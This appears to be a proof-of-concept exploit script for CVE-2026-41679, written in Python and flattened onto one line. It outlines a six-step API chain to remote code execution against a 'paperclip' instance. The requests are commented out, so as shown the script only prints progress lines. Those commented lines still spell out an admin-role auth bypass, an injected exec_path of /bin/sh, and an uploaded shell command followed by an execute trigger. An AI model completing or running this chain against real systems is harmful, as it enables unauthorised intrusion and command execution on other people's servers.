CVE-2026-41679

import requests def exploit(target_url): """ PoC for CVE-2026-41679 Demonstrates the 6-step API chain to achieve RCE. """ session = requests.Session() # Step 1: Initialize attack chain (Bypass auth check) print("[+] Step 1: Initializing...") # r1 = session.post(f"{target_url}/api/v1/initialize", json={"role": "admin"}) # Step 2: Inject malicious configuration print("[+] Step 2: Injecting config...") # payload = {"config": {"exec_path": "/bin/sh"}} # r2 = session.post(f"{target_url}/api/v1/config", json=payload) # Step 3: Prepare agent environment print("[+] Step 3: Preparing environment...") # r3 = session.put(f"{target_url}/api/v1/agents/setup") # Step 4: Upload malicious task print("[+] Step 4: Uploading task...") # task = {"command": "touch /tmp/pwned"} # r4 = session.post(f"{target_url}/api/v1/tasks", json=task) # Step 5: Validate execution chain print("[+] Step 5: Validating chain...") # r5 = session.get(f"{target_url}/api/v1/chain/status") # Step 6: Trigger Remote Code Execution print("[+] Step 6: Triggering RCE...") # r6 = session.post(f"{target_url}/api/v1/execute") # print(r6.text) print("[+] Exploit finished.") if __name__ == "__main__": # Replace with actual target exploit("http://target-paperclip-instance.com")

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